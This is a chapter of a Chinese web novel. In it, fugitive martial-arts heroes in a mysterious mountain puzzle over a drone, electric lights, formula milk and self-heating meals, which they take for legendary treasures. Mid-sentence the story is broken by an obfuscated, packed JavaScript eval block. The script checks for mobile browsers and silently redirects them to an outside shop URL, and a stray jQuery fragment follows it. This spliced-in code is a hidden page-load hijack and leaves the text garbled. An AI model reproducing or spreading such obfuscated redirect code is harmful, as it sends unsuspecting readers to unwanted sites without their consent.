青四与冯大目测这飞天蜘蛛不快不慢地飞走,直到看不见一点踪影,这才敢去碰那白色的包囊。
这包囊非是一般的包裹布,摸起来又不似纸张,亦非丝绢,好生怪异。
冯大小心解开上头绳结,十分小心地找到了一个青色荷包,伸手一摸,的确是个钥匙,还有一张纸条。
只是,这钥匙与他们日常所见的钥匙截然不同。
“保洁室”就在这“洗手间”的背后,有一道单独的小门,冯大与青四早先探了整个洗手间,便发现了那道门,且有窗,只是那门上虽然没有挂锁,却是拉不开的。但有一处铁制把手,下方又有细孔。
这会儿,冯大一手抱住包囊,一手拿着钥匙,青四跟在身后,走到保洁室去。
【钥匙插入插孔,向左转动两次,解锁至门可拉动即开。】
这是纸条上的文字。
冯大不敢多用力,这钥匙轻巧,侧耳听着动静。
向左转一次,似是一道锁解开。
向左再转一次,又是一道锁解开。
再转,轻轻一拉,这红褐色的木门果然是开了。
冯大长舒一口气,又把钥匙顺利从插孔处取了下来。
保洁室内除了门,还有一不大不小的窗,之前这窗被窗牖遮住,完全见不得内里情形。
此刻,冯大与青四倒是看得透彻。
此屋不大,有一小榻与软凳,桌案,还有些他们暂且看不明白的物什。
若以居室论,瞧着还有几分的拥挤,可对于带着孩子的两人来说,比起之前的境遇,这里竟然还有张榻能休息,已是再好不过的地方。
冯大率先入内,他一手摸向屋墙,眼睛在这保洁室内已经不止该往哪里看了。
手上突地一抖,手边在墙上不止触碰到了什么,蓦地天光大亮。
准确地说,是这保洁室内更亮了。
冯大下意识地遮了遮眼睛,亮,好亮!
这是什么机关?
只见位于室内天顶有一方形之灯,那灯罩内燃出白光来,却不见一点火光。
青四站在门口,看着这一幕大骇。
她顺着冯大的手就看见了一处位于白色墙面上的小方块,青四思索片刻开口:“这想来是保洁室内的灯烛。”
“这墙上的机关,我记得在洗手间内也是有的。”
冯大点头,他又去动那天顶灯罩的机关,按动一下,灯光果然没了,再按,又出现了。
而这按动几下的功夫,完全没有听到烛火点燃,只有那机关一开一关的的“啪”“啪”声。
“这机关,比夜明珠还要好用,难道是在齐内放了夜明珠?”冯大猜测着。
青四此刻已经抱着孩子入内,冯大先去试了试那榻 ,这榻不是木塌,但上有软垫,又有一床被褥与枕头,看起来是供给一人用的。
“应该没有机关,青女侠,你来试试。”
青四抱着孩子坐过去,这榻有些支撑,又铺了软垫与床褥,坐起来可比幕天席地舒服多了。
“虽然狭窄,但你带着孩子睡,虽然拥挤些,总归是能舒服不少。”冯大说着。
青四又抬头看天顶的机关灯,“我想,这白灯罩应当是晚上用的,也不知道窗牖能否遮盖住,否则夜有亮光,岂不是容易招惹野兽,更不说这山里不知道存些什么东西。”
冯大坐在旁边的软凳上,他身体健壮,乍一坐下,整个人都有些下陷。
“这软凳不知道能不能放倒,靠背也好软和。”
那白色的包囊仍然放在桌案上,冯大又去研究这保洁室的木门机关锁。
在门口试了两次,他就明白过来,语气中带着兴奋。
“这木门机关好生方便,既可内锁,又可外锁,有两道机关,还有这琉璃窗,看着也十分厚实。”冯大敲了敲窗户。
两人检查了一番,确保今夜在这保洁室里应当是安全无虞,这才关上门,又打开白色包囊,开始研究起里边的东西,窃窃私语。
“这是何物?”
“这又是什么?”
好在很快,两人就在包囊内找到一册“指南书”。
青四手持轻巧的琉璃瓶,这琉璃瓶上还刻着并不认得的符号。
“这上面好像是西番之地的码子。”青四说道,“我在四海堂里见过,那里的伙计卖出海带回来的番物,就是这么写的。”
“只是不认得怎么做一二三四五。”
两人对照着指南册子,把白色包囊里的物件一一取出。
“这是奶瓶,配着罐子里的奶粉喂孩子的。上头说,用滚水冲奶粉,放置温热再喂给孩子。”
小铁罐有些重量,青四小心翼翼按照指南上的图画打开盖子,看着里面的比面粉还要细腻的“奶粉”,只觉一股奶香气袭来。
青四眼中异彩连连,“我听过草原上,可将羊奶晒干成了小块,赶路露宿时候冲水就能喝了,可这么精细的奶粉,从来没听过。”
冯大摇头,“我也是。穷人家的孩子,若是亲娘没有奶,喂些米汤或是糕干,从未听说还有这样的奶粉。”
“想来外头哪怕是宫里也没有的,不然怎的需那么多奶嬷嬷。”
“这孩子今天可算是又能喝上奶了。”两人心里都松了一口气。带着这孩子一路逃亡,弄点米汤都是奢侈,更何况逃亡路上哪去找奶娘呢?
“除了这奶粉,好像还有什么米棒。”
“那米棒是给孩子磨牙用的,不能当饭吃,只能偶尔吃。”
“这两个盒子是给我们的饭食。”青四看着两个黑色盒子,又是不明材质的东西,两人这会儿已经有些见怪不怪了,盒子摸起来倒是不烫。
逃亡这么多天,两人身体的消耗本来就大,说不饿是假的,对这盒子虽然好奇,但没有妄动,还有三条面帕,当是一人一条。
“青女侠,你说这山中前辈是什么意思?”冯大低声发问。
这死人山里的住民显然已经发现了他们,无论是突然碰上的五彩大公鸡,还是冯大听见的禁止燃火的女声。
“这里的前辈们,想来在观察我们。”青四沉吟一声。
“我也是这么想,又是送来食水,还有这钥匙,容你我带着孩儿在这里住下,对比这一路行来,此地的前辈堪称大善人。”冯大说着。
“我原本是想,或许是你我身上带着孩儿的麻烦,让前辈不愿意出面见我们。可又想这山中的奇异,那飞天蜘蛛,这无火天灯,能在这里建造出这些东西的前辈,该是何等势力?”
“若不想的那般深,或许只是隐居在这里的前辈,不愿意见外人。”
青四这话一出,冯大愣了愣。
“你别说,的确在理。”
江湖上奇人异事颇多,有那素来蒙面的,戴着面具的,看病悬丝诊脉不见人的,更别说那些隐居之人,个个怪癖不见生人。
相比之下,这死人山里的前辈虽然不见他们,却又给了他们一隅居所,又给食水,已然是充满善意的大好人了!
如今两人身在死人山里,那前辈在暗,他们在明,完全不知道对方是甚么样人,是不是人,再怎么讨论,也不过是没有什么实据的猜测。
冯大看着天色计算着时间,估摸着孩子快饿了,便照着指南册上面所写,用那奶瓶去打了沸水注入,琉璃瓶轻轻摇晃几下,便是一瓶奶了。
这瓶身很烫,冯大放在一边等待晾到适口温度。
白日里洗的衣衫差不多半干,又在洗手间里出暖风的机关里吹到差不多干了,冯大又把身上的换下铺在地上。
这“保洁室”不大,虽然有个软凳,可软凳干净,冯大觉得身上脏污,怕是污了这物件,决定当晚还是席地而睡。
地上的白瓷冰冰凉,在这夏日里还可消解些暑气。
待到奶瓶放温,不再烫手,青四拿起奶瓶也是小心翼翼,这东西第一次用,瓶中的奶不是满的,必须要倾斜下来才行,两人试了又试,最终把孩子抱在怀里,无比艰难地喂了第一次奶。
孩子刚开始对奶嘴有些抗拒,但入口之后,就大口咕嘟咕嘟
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048546|194760||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
起来,很快就干完了大半瓶奶,打出了个奶嗝儿。
“平生还是乖巧,这十日过来,很少哭闹,没有了奶,干粮糊糊也吃的惯了。”冯大忍不住开口。
青四忍不住摸了摸女娃的小脸蛋:“都说穷人家的孩子当家早,平生离了娘亲奶娘,不过两日就吃了糊糊,好在现在又能喝上奶了。”
看着女娃吃饱餍足迷迷糊糊就要睡去,青四和冯大这才悄声打开属于他们的那份饭食。
“一袋米,一袋菜,还有这加热包,然后注水。”
两人研究着黑色饭盒,从袋子里倒出生米和菜的瞬间,完全愣住。
生米和菜,那菜里还有肉,可不用火,是怎么做熟的?
按照指南上的指示和图画,他们注水操作完毕后,就将黑色的食盒盖子盖上。
两个黑盒都放在桌案上,青四和冯大紧盯,只看内里生没生出火来。
半晌儿,不见火苗,只听到食盒里呼呼作响,有气升腾而出。
他们就这么盯着,盯着,青四又忍不住抬头看向天顶的白色灯罩。
莫非这黑色食盒,与白色灯罩都是用的他们凡人看不见的火?
一刻钟左右,冯大谨慎掀开黑色盖子,只见原本的生米此刻已然晶莹剔透,而袋子里的肉菜也已经加热完毕,霸道的香气此刻充斥整个室内。
香,好香!
肉香,菜香,米香,浓浓的香气袭上人的天灵盖,满脑子都被眼前的饭菜占据。
逃亡之中几乎没有正经吃过饭的冯大与青四肚子已然是咕噜噜叫了起来。
他们多久没有吃过这样的好饭食了!
下层的黑色食盒还在发烫,两人怕不小心触碰到了里边的燃料,便各自跪坐在这小桌案之前,用带缺口的奇怪调羹大吃起来。
那米粒晶莹剔透,入口即化,带着香甜,给人以浓浓的幸福感。
还有这不知是何物与肉煮在一起,大块吃在嘴里,咬下去软绵绵的,混着肉汁,别提有多好吃了!
还有肉,切成方块的肉,肉汁在嘴里爆开,细细咀嚼,冯大瞪眼,“莫非是牛肉!”
这肉一点腥膻也无,好嚼极了,喷香无比。青四用这奇怪调羹舀起汤汁拌进粳米饭里,一口下去,简直是如在梦中。
刚开始,两人在狼吞虎咽,其后,变成了细细品尝,直到将最后的肉汁也舔的干净,冯大小心翼翼地取出那“加热包”,将食盒上上下下全都洗干净,此物可装水,又比陶瓷轻便,用这食盒喝水也是好的。
冯大洗完食盒回来,就见青四正在发呆,盯着放在桌案上的食盒发呆。
“想甚么呢?”他问。
“冯大,你可知我除却接追杀令,还做过什么活?”青四问。
“好端端的,怎么突然忆往昔?我只知道,你在七杀阁的青字号里排行第四,其他自然不知。”冯大坐在地上,屋内天灯已燃,夜明如昼,将青四姣好的容貌映得额外清晰。
“在下不才,也曾兼做猎宝人。”青四目光炯炯,盯着黑色食盒。
冯大倒不意外,“故,你是看出了些什么?”
“非也。我做猎宝人时间不长,我青四规矩多,故而宝物有主不猎,只是喜欢寻找无主的宝物,想要见识天下繁多奇宝。”
“我们一路行来,琉璃门窗虽珍贵,但好歹曾经见过,只这名唤无人机的飞天蜘蛛,还有那铜龙出水,上边的天灯我都找不出什么跟脚,不曾在书里见过,或是听过。”
“唯有这食盒我或许知道是什么了。”青四深吸一口气。
“哦?”冯大也来了精神。
“你可听闻过‘常燃鼎’?”她问。
冯大摇头。
青四激动起来:“常燃鼎,量容三斗,光洁似玉,其色紫,每修饮馔,不炽火而俄顷自熟,香洁异于常等。此乃《杜阳杂编》所记。”
“书上记载,若是长久吃这常燃鼎的饭菜,反老为少,百病不生!”
冯大呆了呆,活动了下手脚,“我好像,通体轻松了些。”